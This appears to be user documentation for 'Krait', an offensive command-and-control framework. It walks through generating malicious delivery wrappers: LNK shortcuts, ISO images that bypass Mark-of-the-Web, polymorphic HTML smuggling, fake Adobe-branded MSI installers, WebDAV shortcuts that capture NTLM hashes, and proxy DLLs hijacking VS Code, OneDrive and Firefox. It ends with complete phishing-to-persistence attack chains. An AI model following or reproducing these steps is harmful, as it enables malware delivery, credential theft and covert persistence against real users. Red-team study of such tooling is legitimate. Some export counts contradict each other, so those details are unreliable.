Payload Generators
Generate delivery wrappers — LNK, ISO, HTML smuggling, MSI, DLL hijack, URL shortcuts
Krait includes six payload generators that wrap your compiled agent into delivery formats suitable for initial access and persistence. Generators are available through the Web UI (Payloads page) and the CLI.
All generators run on the server side — they take a built agent binary on the server’s filesystem and produce a wrapped output in the payloads/ directory. No Windows tooling is required; everything cross-compiles on Linux.
Common Concepts
payload_path
Every generator takes a payload_path parameter. This is a path on the Krait server, not on the target. It points to the compiled agent binary the generator should wrap.
# Correct — path where the agent binary lives on the server
/home/kali/krait-4.0.0-standard/build/agent.exe
# Wrong — this is a path on the target, not the server
C:\Users\Public\agent.exe
Output Directory
All generated files are written to the payloads/ directory under the server root. Each output filename includes a timestamp and random suffix to avoid collisions:
payloads/20261008_142305_abcd_agent.lnk
payloads/20261008_142412_efgh_agent.iso
Parent Process Check
Krait agents verify their parent process at startup to detect sandboxing. Some delivery methods launch the payload through an intermediary process (cmd.exe, msiexec.exe, powershell.exe, etc.) instead of directly from explorer.exe. When building agents for these delivery methods, use the --no-parent-check flag:
| Delivery Method | Parent Process | Needs --no-parent-check? |
|---|---|---|
| ISO double-click | explorer.exe | No |
| LNK (method: direct) | cmd.exe | Yes |
| LNK (method: powershell) | powershell.exe | Yes |
| LNK (method: rundll32) | rundll32.exe | Yes |
| LNK (method: mshta) | mshta.exe | Yes |
| HTML smuggling (user downloads and runs) | explorer.exe | No |
| MSI install | msiexec.exe | Yes |
| URL shortcut (WebDAV) | explorer.exe | No |
| DLL hijack | Target app (Code.exe, etc.) | Yes |
LNK — Windows Shortcut
Creates a .lnk shortcut file that executes the payload when double-clicked. Implements the MS-SHLLINK binary format from scratch — no Windows COM required, works entirely on Linux.
Use case: Drop a .lnk on a file share, USB, or desktop. The user double-clicks what looks like a document or folder shortcut and the agent runs.
Important: The LNK file does not embed the payload. It references the payload’s basename on the target filesystem. You must place the agent binary alongside the LNK or at the path specified in the
targetparameter.
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
method | choice | direct | Execution method: direct, powershell, rundll32, mshta |
icon | string | — | Icon source path (PE on target), e.g. C:\Windows\System32\shell32.dll |
icon_index | integer | 0 | Icon resource index within the PE |
description | string | — | Tooltip text shown on hover |
args | string | — | Extra command-line arguments passed to the payload |
working_dir | string | — | Working directory, e.g. C:\Users\Public |
pad_args | boolean | true | Space-pad arguments to hide them in the Properties dialog |
target | string | — | Override target path on victim (default: payload basename in same directory) |
Execution Methods
- direct — Uses
cmd.exe /c "payload.exe". Simple, reliable. Parent process iscmd.exe→ needs--no-parent-check. - powershell — Uses
powershell.exe -w hidden -nop -ep bypass -c "Start-Process 'payload.exe'". Hidden window, bypass execution policy. Parent ispowershell.exe. - rundll32 — Uses
rundll32.exe payload.dll,DllMain. For DLL payloads. Parent isrundll32.exe. - mshta — Uses
mshta.exe payload. For HTA payloads. Parent ismshta.exe.
Web UI Example
- Go to the Payloads page
- Select lnk from the generator dropdown
- Enter the payload path on the server:
/home/kali/krait-4.0.0-standard/build/agent.exe - Set method to
direct - Set icon to
C:\Windows\System32\imageres.dll(folder icon) - Set icon_index to
3 - Set description to
Company Documents - Click Generate
CLI Example
krait » generate lnk /home/kali/krait-4.0.0-standard/build/agent.exe --method direct --icon "C:\Windows\System32\imageres.dll" --icon-index 3 --description "Company Documents"
Deployment
- Download the generated
.lnkfrom the Payloads page - Place the agent binary (
agent.exe) on the target — same directory as the LNK, or at the path specified intarget - Place the
.lnkwhere the user will find it (desktop, file share, USB) - User double-clicks the LNK → agent runs
OPSEC
- The
pad_argsoption (enabled by default) inserts 512+ spaces before the command-line arguments so they’re not visible in the shortcut’s Properties dialog - The shortcut shows
SW_SHOWMINNOACTIVE— the window starts minimized - Choose an appropriate icon (folder, PDF, Word doc) from
shell32.dllorimageres.dllto match the social engineering pretext - No ExtraData section is written, so no machine/username metadata leaks into the LNK
ISO — Container Image
Creates an ISO 9660 (or IMG) image containing the payload. When the user double-clicks the ISO on Windows 10/11, it auto-mounts as a virtual drive. Files inside a mounted ISO do not carry Mark-of-the-Web zone identifiers, bypassing SmartScreen and other MOTW-based protections.
Use case: Deliver an agent through email or download. The ISO mounts on double-click and the user runs the payload from the virtual drive without SmartScreen warnings.
Important: The ISO generator embeds the payload file inside the image. The
payload_pathis an operator-side path — the file is read from the server and packed into the ISO.
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
lnk | boolean | false | Auto-generate a LNK inside the ISO pointing to the payload |
lnk_method | choice | direct | LNK execution method: direct, powershell, rundll32, mshta |
lnk_description | string | — | LNK tooltip text |
lnk_icon | string | — | LNK icon path (PE on target) |
decoy | string | — | Path to a decoy document on the server to include in the ISO |
label | string | DATA | ISO volume label (max 32 characters) |
format | choice | iso | Output format: iso or img |
hidden_payload | boolean | true | Hide the payload file inside the ISO (visible files: LNK and/or decoy only) |
Web UI Example
- Go to the Payloads page
- Select iso from the generator dropdown
- Enter the payload path:
/home/kali/krait-4.0.0-standard/build/agent.exe - Check lnk to auto-generate a LNK inside the ISO
- Set lnk_method to
direct - Set lnk_description to
Q4 Financial Report - Set lnk_icon to
C:\Windows\System32\shell32.dll - Set label to
FINANCIALS - Leave hidden_payload checked
- Click Generate
CLI Example
krait » generate iso /home/kali/krait-4.0.0-standard/build/agent.exe --lnk true --lnk-method direct --lnk-description "Q4 Financial Report" --label FINANCIALS --hidden-payload true
Deployment
- Download the generated
.isofrom the Payloads page - Deliver to target via email attachment, file share, USB, or web download
- User double-clicks the ISO → Windows mounts it as a virtual drive (e.g.,
D:\) - User sees only the LNK (and/or decoy) — the actual payload is hidden
- User double-clicks the LNK → agent runs without SmartScreen warning
OPSEC
- With
hidden_payload: true, the agent binary is set as a hidden file in the ISO — only the LNK and decoy are visible in Explorer - The ISO itself may trigger a MOTW warning on download, but files inside the mounted ISO do not inherit MOTW
- Use a convincing volume label (e.g.,
FINANCIALS,HR_DOCS) — it shows in the drive name after mounting - When using
lnkwith methoddirect, the LNK’s parent process will becmd.exe→ build the agent with--no-parent-check - When the user double-clicks the ISO to mount it and then double-clicks the payload EXE directly (no LNK), the parent is
explorer.exe→ no flag needed - Requires
genisoimageormkisofson the server (usually pre-installed on Kali)
HTML — HTML Smuggling
Embeds the payload inside an HTML file using JavaScript-based encoding. The payload is reconstructed client-side in the browser and offered as a download. The binary payload never crosses the network in its original form — it bypasses network inspection, proxies, and email gateways.
Use case: Send a link to the HTML page (hosted on your infrastructure or as an email attachment). The user’s browser assembles the payload from the encoded data and prompts a download.
Encoding Modes
- XOR (default) — Simple XOR with a random 16-byte key. The key is embedded in the HTML. Good for bypassing basic network inspection.
- AES — AES-256-CBC encryption. The decryption key is passed in the URL fragment (
#key), which is never sent to the server in HTTP requests. The HTML file alone is useless without the correct link.
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
encoding | choice | xor | Encoding method: xor or aes |
filename | string | payload basename | Download filename presented to the user |
template | choice | document-viewer | Page template: document-viewer, software-update, file-share |
auto_download | boolean | false | Auto-download on page load vs. requiring a button click |
aes_key | string | auto-generated | AES decryption key (only used with aes encoding) |
Templates
- document-viewer — “Secure Document Ready” with a “Download Document” button
- software-update — “Update Available” with a “Download Update” button
- file-share — “File Shared With You” with a “Download File” button
All templates are clean, professional-looking pages with no suspicious elements.
Web UI Example (XOR)
- Go to the Payloads page
- Select html from the generator dropdown
- Enter the payload path:
/home/kali/krait-4.0.0-standard/build/agent.exe - Set encoding to
xor - Set filename to
security_update.exe - Set template to
software-update - Click Generate
Web UI Example (AES)
- Same as above, but set encoding to
aes - Optionally set a custom aes_key (or leave blank for auto-generated)
- After generation, note the
url_fragmentin the response — you must include it in the link:https://your-host/page.html#THE_KEY
CLI Example
krait » generate html /home/kali/krait-4.0.0-standard/build/agent.exe --encoding aes --filename "security_update.exe" --template software-update
[+] Generated: 20261008_143000_abcd_agent.html
Encoding: aes
URL fragment: #dGhpc0lzQUtleQ
Deployment
- Download the generated
.htmlfrom the Payloads page - Host it on your infrastructure (web server, S3 bucket, etc.)
- For XOR: send the direct URL to the target
- For AES: send the URL with the fragment —
https://your-host/page.html#dGhpc0lzQUtleQ - User visits the page → clicks “Download” (or auto-downloads) → saves and runs the file
OPSEC
- Variable names and whitespace are randomized on every generation (polymorphic) — no two outputs have the same JavaScript structure
- AES mode puts the key in the URL fragment (
#key), which is never sent to the server — the ciphertext in the HTML is useless without the full link, and proxies/email gateways can’t extract the key from captured traffic - The HTML page itself is clean — no obfuscated JavaScript, no suspicious patterns, just a professional download page
- Downloaded files will have Mark-of-the-Web — consider pairing with ISO to bypass SmartScreen
auto_download: false(default) requires user interaction, which looks more natural than auto-triggering
MSI — Windows Installer
Creates a .msi Windows Installer package that executes the payload via a CustomAction during installation. The payload runs as a deferred, asynchronous action — msiexec starts it and continues the install without waiting.
Use case: Deliver a payload disguised as a legitimate software installer. Supports silent installation (msiexec /quiet) for automated deployment. The CustomAction runs the payload during install, and the payload binary is cleaned up on uninstall.
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
name | string | System Update | Product name shown in the install dialog and Add/Remove Programs |
publisher | string | Microsoft Corporation | Publisher name shown in the install dialog |
elevate | boolean | false | Request UAC elevation during install (per-machine install scope) |
Web UI Example
- Go to the Payloads page
- Select msi from the generator dropdown
- Enter the payload path:
/home/kali/krait-4.0.0-standard/build/agent.exe - Set name to
Adobe Acrobat Update - Set publisher to
Adobe Inc. - Leave elevate unchecked for user-level install (no UAC prompt)
- Click Generate
CLI Example
krait » generate msi /home/kali/krait-4.0.0-standard/build/agent.exe --name "Adobe Acrobat Update" --publisher "Adobe Inc."
Deployment
- Download the generated
.msifrom the Payloads page - Deliver to target via email, file share, download, or GPO deployment
- Interactive install: User double-clicks the MSI → install dialog appears → payload runs
- Silent install:
msiexec /quiet /i update.msi— no dialog, payload runs silently - Elevated install (if
elevate: true): UAC prompt appears → installs per-machine with admin privileges
OPSEC
- The CustomAction uses
Execute="deferred"andReturn="asyncNoWait"— the payload starts and msiexec doesn’t wait for it to finish - Payload binary is embedded in the MSI’s cabinet archive — no separate file to deliver
- With
elevate: false, the MSI installs per-user under%LOCALAPPDATA%— no UAC prompt - The MSI has a unique Product GUID and Upgrade GUID per generation
- Parent process is
msiexec.exe— build the agent with--no-parent-check - Requires
wixl(frommsitools) on the server — bundled automatically in release packages
URL — WebDAV Delivery
Creates a .url shortcut file (Windows InternetShortcut INI format) pointing to a WebDAV path. When double-clicked, Windows fetches the file via WebDAV, which can capture NTLM authentication hashes and deliver the payload.
Use case: Place a .url file on a file share or deliver via email. When the user double-clicks it, Windows connects to your WebDAV server, potentially leaking NTLM credentials, and downloads/executes the payload. Use --no-auth when you only need file delivery without NTLM capture (e.g., when the target won’t negotiate NTLM over HTTP).
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
url | string | payload basename | Full WebDAV URL, e.g. \\10.10.10.10\share\agent.exe |
no_auth | boolean | false | Start WebDAV without NTLM auth (anonymous file serving only) |
icon | string | — | Custom icon path for the shortcut |
icon_index | integer | 0 | Icon index |
hotkey | integer | 0 | Hotkey value (optional) |
Web UI Example
- Go to the Payloads page
- Select url from the generator dropdown
- Enter the payload path:
/home/kali/krait-4.0.0-standard/build/agent.exe - Set url to
\\YOUR_SERVER_IP\share\agent.exe - Check no_auth if you only need file delivery (skip NTLM capture)
- Set icon to
C:\Windows\System32\shell32.dll - Set icon_index to
3(folder icon) - Click Generate — if no_auth is checked, the WebDAV server auto-starts in anonymous mode
CLI Example
# With NTLM capture (default)
krait » webdav start 80
[+] WebDAV server started on 0.0.0.0:80 (NTLM capture)
# Without NTLM capture (anonymous file serving)
krait » webdav start 80 --no-auth
[+] WebDAV server started on 0.0.0.0:80 (anonymous)
krait » generate url /home/kali/krait-4.0.0-standard/build/agent.exe --url "\\10.10.10.10\share\agent.exe" --icon "C:\Windows\System32\shell32.dll" --icon-index 3
Deployment
- Start the WebDAV server:
webdav start 80(orwebdav start 80 --no-authfor anonymous mode) - Ensure the payload is in the
payloads/directory (the WebDAV server serves from there) - Download the generated
.urlfile - Place it on a file share, USB, or deliver via email
- User double-clicks the
.url→ Windows connects to your WebDAV server via SMB/HTTP - The WebDAV server captures NTLM hashes (if auth is enabled and the client negotiates NTLM) and serves the payload
- Check captured hashes:
creds list— check WebDAV server status:webdav status
OPSEC
- The
.urlfile is a plain text INI file — it’s very small and doesn’t contain suspicious binary data - NTLM hash capture works automatically when the client attempts NTLM authentication against the WebDAV server
- Captured hashes are in hashcat format (NTLMv1 mode 5500, NTLMv2 mode 5600) — ready for offline cracking
- Ensure port 80 or 445 is accessible from the target network for the WebDAV connection
- The parent process for files opened from a WebDAV share is typically
explorer.exe— no--no-parent-checkneeded
Hijack DLL — Search Order Hijack (Persistence)
Generates a proxy DLL for DLL search order hijacking. The proxy forwards all exports to the real DLL via runtime trampolines while executing the payload on DLL_PROCESS_ATTACH. When the target application loads, it picks up your proxy DLL instead of (or before) the real one.
Note: This is a persistence technique, not initial access. You need write access to the target application’s directory, which typically requires admin privileges for Program Files locations or user-level access for AppData locations.
How It Works
- The generator produces a compiled proxy DLL that exports the same functions as the original DLL
- Each exported function is a trampoline that
jmps to the real function resolved viaGetProcAddressat load time - On
DLL_PROCESS_ATTACH, the proxy loads the real DLL, resolves all function pointers, then launches the payload viaCreateProcessAwithCREATE_NO_WINDOW - The target application works normally — all function calls are transparently forwarded
System DLLs vs Application DLLs
Targets fall into two categories:
System DLL targets (onedrive, vscode) — the hijacked DLL has a real copy in C:\Windows\System32\. The proxy loads the real DLL from the system path. No renaming needed — just drop the proxy DLL in the application’s directory and Windows loads it first due to search order.
Application DLL targets (firefox) — the hijacked DLL has no system copy. It only exists in the application’s directory. You must:
- Rename the original DLL (e.g.,
nss3.dll→nss3_real.dll) - Place the proxy DLL with the original name (e.g.,
nss3.dll) - Place the payload binary in the same directory
The real_dll_name parameter controls the renamed filename. Default: <stem>_real.<ext>.
Parameters
| Parameter | Type | Default | Description |
|---|---|---|---|
target_app | choice | — | Target application (see table below) |
list_targets | boolean | false | List all known hijackable targets and their details |
exports_dll | string | — | Path to DLL on the server to extract exports from (overrides built-in export table) |
real_dll_name | string | <stem>_real.<ext> | Renamed original DLL filename (only for app-DLL targets) |
Known Targets
| Target | DLL | Type | Install Path | Needs exports_dll? | Needs real_dll_name? |
|---|---|---|---|---|---|
onedrive | secur32.dll | System | %LOCALAPPDATA%\Microsoft\OneDrive | No | No |
vscode | WINMM.dll | System | %LOCALAPPDATA%\Programs\Microsoft VS Code | No | No |
firefox | nss3.dll | App | %PROGRAMFILES%\Mozilla Firefox | No (pre-extracted) | Yes |
Built-in Export Tables
All targets have pre-extracted export tables — exports_dll is only needed to override with a different version:
-
WINMM.dll — 152 exports (used by vscode)
-
secur32.dll — 54 exports (used by onedrive)
-
nss3.dll — 1349 exports (used by firefox)
Target: OneDrive
DLL: secur32.dll (system) — 53 exports pre-loaded.
OneDrive installs per-user in %LOCALAPPDATA%\Microsoft\OneDrive. User-writable.
krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app onedrive
Deploy: Copy agent.exe and secur32.dll to %LOCALAPPDATA%\Microsoft\OneDrive\.
Target: VS Code
DLL: WINMM.dll (system) — 181 exports pre-loaded.
VS Code installs per-user in %LOCALAPPDATA%\Programs\Microsoft VS Code. User-writable.
krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app vscode
Deploy: Copy agent.exe and WINMM.dll to %LOCALAPPDATA%\Programs\Microsoft VS Code\.
Target: Firefox
DLL: nss3.dll (application) — 1349 exports pre-extracted.
Firefox installs in %PROGRAMFILES%\Mozilla Firefox. Requires admin to write.
krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent.exe --target-app firefox --real-dll-name nss3_real.dll
Deploy:
- Rename the original:
nss3.dll→nss3_real.dll(or whatever you set inreal_dll_name) - Copy the generated proxy as
nss3.dll - Copy
agent.exeto the same directory - When Firefox launches, it loads your proxy
nss3.dll, which loadsnss3_real.dllfor real function calls
OPSEC (All Targets)
- The proxy DLL is compiled with
-O2 -s(optimized, stripped) — no debug symbols - Uses
asmjump trampolines for export forwarding — no stub functions, no extra stack frames - The payload is launched via
CreateProcessAwithCREATE_NO_WINDOWandSTARTF_USESHOWWINDOW/SW_HIDE DisableThreadLibraryCallsis called to avoid repeated DLL_THREAD_ATTACH callbacks- No C runtime is linked — pure WinAPI, minimal footprint
- Parent process is the target application (Code.exe, OneDrive.exe, etc.) — build the agent with
--no-parent-check - For user-writable targets (OneDrive, VS Code), no admin privileges are needed
- For Program Files targets (Firefox), admin is required
- Cross-compiled on Linux with
x86_64-w64-mingw32-gcc— requiresmingw-w64installed on the server
Delivery Chains
These examples show complete attack flows combining multiple generators.
Chain 1: ISO + LNK + Hidden Payload
The classic MOTW bypass. An ISO containing a hidden agent and a visible LNK shortcut.
- Build the agent with
--no-parent-check(the LNK uses cmd.exe) - Generate the ISO with
lnk: trueandhidden_payload: true - Deliver the ISO via email or download
- User double-clicks ISO → mounts as drive → sees only the LNK → double-clicks → agent runs
krait » generate iso /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --lnk true --lnk-method direct --lnk-description "Q4 Results" --lnk-icon "C:\Windows\System32\shell32.dll" --hidden-payload true --label Q4_RESULTS
Chain 2: HTML Smuggling → Dropped EXE
Bypass network inspection entirely. The payload is assembled in the browser.
- Build the agent (no special flags — user double-clicks the downloaded file from explorer.exe)
- Generate the HTML with AES encoding
- Host the HTML on your web server
- Send the URL with the AES key fragment to the target
- User visits page → clicks “Download” → saves and runs the EXE
krait » generate html /home/kali/krait-4.0.0-standard/build/agent.exe --encoding aes --filename "Q4_Report.exe" --template document-viewer
[+] Generated: 20261008_143000_abcd_agent.html
URL fragment: #dGhpc0lzQUtleQ
Send to target: https://your-host/page.html#dGhpc0lzQUtleQ
Chain 3: URL Shortcut → WebDAV → EXE + NTLM Capture
Dual-purpose: deliver the payload and capture NTLM hashes. Use --no-auth if you only need delivery without NTLM capture.
- Start the WebDAV server on the Krait server (add
--no-authfor anonymous mode) - Build the agent (no special flags — WebDAV delivers to explorer.exe)
- Generate the URL shortcut pointing to your WebDAV server
- Place the
.urlfile on a network share - User double-clicks
.url→ Windows connects to WebDAV → NTLM hash captured → payload downloaded
krait » webdav start 80
[+] WebDAV server started on 0.0.0.0:80 (NTLM capture)
krait » generate url /home/kali/krait-4.0.0-standard/build/agent.exe --url "\\YOUR_SERVER_IP\share\agent.exe" --icon "C:\Windows\System32\imageres.dll" --icon-index 3
krait » creds list
Chain 4: MSI Silent Install
Automated payload deployment disguised as a software update.
- Build the agent with
--no-parent-check(launched by msiexec.exe) - Generate the MSI with convincing product name
- Deploy via GPO, SCCM, or manual install
krait » generate msi /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --name "Adobe Acrobat Reader Update" --publisher "Adobe Inc."
# Silent install on target (no dialog, no UAC):
# msiexec /quiet /i update.msi
Chain 5: DLL Hijack Persistence (User-Level)
Persist through an application the user launches daily — no admin needed.
- Build the agent with
--no-parent-check(launched by the target app) - Generate the proxy DLL for a user-writable target (e.g., VS Code)
- Deploy the proxy DLL and agent to the app directory
- Every time the user launches VS Code, the agent starts
krait » generate hijack-dll /home/kali/krait-4.0.0-standard/build/agent_noparent.exe --target-app vscode
# Deploy via existing Krait session:
# upload agent_noparent.exe "%LOCALAPPDATA%\Programs\Microsoft VS Code\agent.exe"
# upload WINMM.dll "%LOCALAPPDATA%\Programs\Microsoft VS Code\WINMM.dll"